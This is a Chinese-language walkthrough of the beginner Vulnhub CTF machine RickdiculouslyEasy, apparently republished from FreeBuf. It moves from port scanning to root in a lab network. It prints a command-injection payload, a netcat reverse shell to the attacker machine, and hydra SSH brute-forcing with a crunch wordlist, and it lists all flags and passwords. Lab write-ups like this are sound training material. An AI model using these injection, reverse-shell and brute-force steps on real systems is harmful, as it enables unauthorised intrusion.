CTF挑战130分 | Rickdiculously 1.0

简介

Vulnhub简介

Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

官网:https://www.vulnhub.com

下载链接

https://download.vulnhub.com/rickdiculouslyeasy/RickdiculouslyEasy.zip

靶机说明

靶机用ValualBox创建,是一个面向初学者设计的CTF,简单的Boot to root游戏,同时里面有合计130 points的Flag。

目标

Boot to root:获得root权限,并获得合计130 points的Flag。

运行环境

靶机:通过ValualBox打开虚拟机,网络连接方式设置为主机模式(host-only),虚拟机启动后会显示IP是192.168.56.101。

攻击机:同网段下有Windows攻击机(物理机),IP地址:192.168.56.100,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Hydra、Python2.7、DirBuster、AWVS、Nessus等渗透工具。同样推荐使用Kali Linux作为攻击机,预装了全面的渗透工具。

信息收集

端口服务识别

启动虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:

汇总开放的端口和服务:

端口 服务 后台系统 或 提示信息 21 FTP vsftpd3.0.3 允许匿名登录 22 未知服务 Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64) 80 http Apache httpd 2.4.27 ((Fedora) 9090 http Cockpit web service 13337 未知服务 获得FLAG:{TheyFoundMyBackDoorMorty}-10Points 22222 ssh OpenSSH 7.5 (protocol 2.0) 60000 未知服务 Welcome to Ricks half baked reverse shell

漏洞挖掘

渗透思路:

(1) 依次查看每个端口运行的服务,能直接利用则获得Flag。 (2) 先查看全部非Web服务,再查看Web服务,通常会通过Web服务入手获得shell后提权。 (3) 最后聚焦Web服务进行web渗透和提权。

0x01 端口13337:10 Points

一血,信息收集时Nmap扫描13337扫描得到Flag,10 Points。

FLAG:{TheyFoundMyBackDoorMorty}-10 Points

总分:1 flag,total 10 points/130 points

0x02 端口21:FTP匿名登录,10 Points

Nmap扫描发现21端口的FTP允许匿名登录,使用任何FTP工具或者FTP命令匿名登录21端口,如下截图使用Xftp登录:

获得FLAG{Whoa this is unexpected} - 10 Points

总分:2 flags,total 20 points/130 points

0x03 端口9090:https网页,10 Points

访问https://192.168.56.101:9090/,在Web页面获得Flag:

FLAG {There is no Zeus, in your face!} - 10 Points

总分:3 flags,total 30 points/130 points

0x04 端口22:获得系统及内核版本

Nmap扫描发现22端口不是ssh服务,ssh在22222端口,使用nc连接22端口:nc -nv 192.168.56.101 22获得内核和系统版本:Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

0x05 端口22222:ssh服务

Nmap扫描时发现22222端口运行ssh服务,使用Xshell工具连接,目前没有获得用户名密码,暂无法登录。

0x06 端口60000:用户shell,10 Points

Nmap扫描时发现提示Welcome to Ricks half baked reverse shell,这是一个shell,使用nc连接成功:nc -nv 192.168.56.101 60000,查看目录和文件发现Flag。

FLAG{Flip the pickle Morty!} - 10 Points

总分:4 flags,total 40 points/130 points

检测该shell权限,whoami命令显示是root,但是该shell只有访问Flag和执行几个命令的权限,无法进一步利用。

至此已访问全部非Web端口,共获得了4个Flag,40 Points。继续访问80端口web服务。

0x07 端口80:暴破目录和获得Flag

(1) 访问http://192.168.56.101/进入首页:

Windows下使用DirBuster工具进行目录暴破,kali下可使用dirb工具暴破:

获得passwords目录,Flag和passwords.html页面,依次访问。

(2) 目录http://192.168.56.101/passwords/:

(3) 访问passwords目录下的FLAG.txt:10 Points

FLAG{Yeah d- just don’t do it.} - 10 Points

总分:5 flags,total 50 points/130 points

(4) 访问passwords.html页面,获得密码:

提示该页面存储了密码Storing passwords in a file called passwords.html

查看网页源码获得密码winter

0x08 通过robots.txt找到命令执行页面

(1) 读取robots.txt文件(也可以通过dirb暴破出rebots.txt):

发现有两个文件:/cgi-bin/root_shell.cgi和/cgi-bin/tracertool.cgi,第一个疑似root shell。

(2) 访问/cgi-bin/root_shell.cgi 提示正在建设中。

(3) 访问/cgi-bin/tracertool.cgi,发现ping命令执行界面,可以ping一个IP,输入127.0.0.1;id即可执行id命令:

获取shell

0x09 命令执行获得shell

(1) 命令执行好获得shell有多种姿势,使用nc反弹shell,执行命令127.0.0.1;nc -e /bin/bash 192.168.56.100 4444

(2) windows攻击机开启nc监听4444端口,并接收反弹shell成功:

(3) 读取/etc/passwd

cat命令被替换成了猫猫的图形,more命令在shell中不回显。

执行nl /etc/passwd读取文件,或者在执行ping命令的/cgi-bin/tracertool.cgi页面输入127.0.0.1;more /etc/passwd也可以读取

系统中存在3个用户:RickSanchez、Morty和Summer。

(4) 之前已经获得了一个密码winter,尝试用这个密码登录3个用户的ssh(22222端口)和FTP:用户名Summer,密码winter登录成功。

在xshell中ssh登录并获得Flag或者在xftp中登录Summer账号并获得Flag:

FLAG{Get off the high road Summer!} - 10 Points

总分:6 flags,total 60 points/130 points

0x10 查找其他用户的文件和Flag

(1) 查找用户RickSanchez和Morty的文件

命令find / -user RickSanchez 2>/dev/null和find / -user Morty 2>/dev/null,在home目录用tree命令列出文件:

发现可以读取两个用户home目录里面的问文件,分别进去查找隐藏文件。

(2) Morty的文件和Flag

进入Morty目录,发现journal.txt.zip和Safe_Password.jpg文件

将这两个文件复制到Summer用户的home目录:

然后通过用Summer账号登录FTP下载下来:

zip压缩包有密码,先看jpg图片,因windows下没有kali的strings命令,用Notepad++或者记事本打开,在前几行发现密码:Password: Meeseek The Safe Password: File: /home/Morty/journal.txt.zip

通过密码Meeseek打开journal.txt.zip压缩包,得到Flag和一个safe密码131333。看文字提示a safe, and a password

FLAG: {131333} - 20 Points

总分:7 flags,total 80 points/130 points

(3) RickSanchez的文件和Flag

发现可执行文件safe:

把safe复制到Summer的用户目录下,执行safe文件:

提示需要使用命令行参数Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE argument

上面获取了密码131333,将其作为参数执行./safe 131333

获得FLAG{And Awwwaaaaayyyy we Go!} - 20 Points

总分:8 flags,total 100 points/130 points

同时得到Rick的密码提示信息:Rick可能是wheel组成员,具有sudo权限;Rick的密码按照顺序包含:1个大写字母,1位数字,1个旧乐队名字中的单词。

提升权限

0x11 生成字典,暴破Rick密码

(1) 先百度或谷歌找到Rick的乐队名字,百度搜索RickSanchez Morty Summer,得到瑞克与莫蒂,第一个搜索结果就是WIKI介绍,点击进去查看

这是一部动画片,在WIKI里面找到了乐队的名字The Flesh Curtains

(2) 生成密码字典:

密码第1位:A-Z中的一个大写字母;

密码第2位:0-9中的一个数字;

密码第3位:The或者Flesh或者Curtains,这3个单词之一。

在Kali下使用crunch工具生成字典,生成3次字典,追加写入到rick.txt文件,crunch命令参数说明: crunch 密码最小长度 密码最大长度 -t参数是自定义密码输出格式 ,代表大写字母 %代表数字

生成包含单词The的密码,写入rick.txt字典crunch 5 5 -t ,%The > rick.txt

生成包含Flesh的密码,追加写入rick.txt字典:crunch 7 7 -t ,%Flesh >> rick.txt

生成包含Curtains的密码,追加写入rick.txt字典:crunch 10 10 -t ,%Curtains >> rick.txt

生成的rick.txt字典有780行,可以在Kali中使用九头蛇、美杜莎暴破ssh。

(3) 暴破RickSanchez密码:

由于VMWare下的Kali机没有和VBox靶机的host-only网卡连接,所以使用Windows物理机的九头蛇暴破密码:

进入九头蛇目录,命令hydra.exe -l RickSanchez -P rick.txt -t 4 ssh://192.168.56.101:22222

暴破完成,得到login: RickSanchez password: P7Curtains

0x12 获得root权限

(1) 使用xshell工具ssh登录RickSanchez账号,密码P7Curtains

(2) 提权到root,执行命令sudo su -,密码P7Curtains

(3) 获得Flag

FLAG: {Ionic Defibrillator} - 30 points

总分:9 flags,total 130 points/130 points

游戏通关,已经提权至root,并获得全部FLag。

总结

突破点和坑:

(1) Nmap扫描发现的每个端口和服务都需要查看,防止遗漏Flag。 (2) 查看网页源码和图片的可打印字符,获取账号密码。 (3) 获取到用户Summer和密码winter后,反弹shell没有必要了,因为可以ssh登录。 (4) 难点和坑是制作RickSanchez账号的密码字典,首先要看英文提示Rick的密码由哪些字母或单词组成,其次要找到乐队名字的单词,乐队名是通过搜索引擎找到的,最后用工具做成字典,需熟悉字典制作工具的使用,或者用py写几次循环。

全部Flag列表:

得分 Flag 端口和位置

10 FLAG:{TheyFoundMyBackDoorMorty} 端口13337

10 FLAG{Whoa this is unexpected} 端口21,FTP匿名登录

10 FLAG {There is no Zeus, in your face!} 端口9090,https服务

10 FLAG{Flip the pickle Morty!} 端口60000,nc连接

10 FLAG{Yeah d- just don’t do it.} 端口80,passwords目录

10 FLAG{Get off the high road Summer!} 用户Summer目录

20 FLAG: {131333} 压缩包journal.txt.zip

20 FLAG{And Awwwaaaaayyyy we Go!} 可执行文件safe

30 FLAG: {Ionic Defibrillator} root根目录

* 本文作者:Setup,转载请注明来自FreeBuf.COM

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-06-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏用户2442861的专栏

Springmvc+uploadify实现文件上传

   网上看了很多关于文件上传的帖子,众口不一,感觉有点乱,最近正好公司的项目里用到JQuery的uploadify控件做文件上传,所以整理下头绪,搞篇文档出来...

1692
来自专栏Kubernetes

Kubelet Deivce Manager源码分析

3905
来自专栏小樱的经验随笔

sqlmap注入分类

注入分法不同,种类不同,来个简单的分类: 1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”  2.pos...

3295
来自专栏酷玩时刻

支付宝Wap支付你了解多少?

为了方便开发者生成一对RSA密钥支付宝提供一键生成工具,具体如何生成与配置密钥详见签名专区。

3292
来自专栏程序员八阿哥

Python从入门到摔门(6):Python Web服务器Tornado使用小结

举例来说,假设某个银行网站有这样的 URL: http://bank.example.com/withdraw?amount=1000000&for=Eve ...

2022
来自专栏FreeBuf

对利用Adobe 0day – CVE-2014-0502进行攻击的行为分析

前些天FireEye发布了一个利用AdobeFlash的新0day进行攻击的报告,且Adobe已经根据漏洞情况发布了一个安全更新。 根据FireEye的报告,许...

2138
来自专栏xdecode

开发安全规约

 所有可以通过web端访问到的页面, 都需要考虑是否加上权限控制. 包括各类service & action. 1 long userID = ...

2259
来自专栏散尽浮华

Linux系统下的用户密码设定梳理

随着linux使用的普遍,对于linux用户以及系统的安全要求越来越高,而用户密码复杂程度是系统安全性高低的首要体现。因此如何对linux下用户的密码进行规则限...

3089
来自专栏魏琼东

分布式消息总线,基于.NET Socket Tcp的发布-订阅框架之离线支持,附代码下载

     在前面的分享一个分布式消息总线,基于.NET Socket Tcp的发布-订阅框架,附代码下载一文之中给大家分享和介绍了一个极其简单也非常容易上的基于...

1130
来自专栏雨过天晴

转 PHP-redis编译成功

1753

扫码关注云+社区

领取腾讯云代金券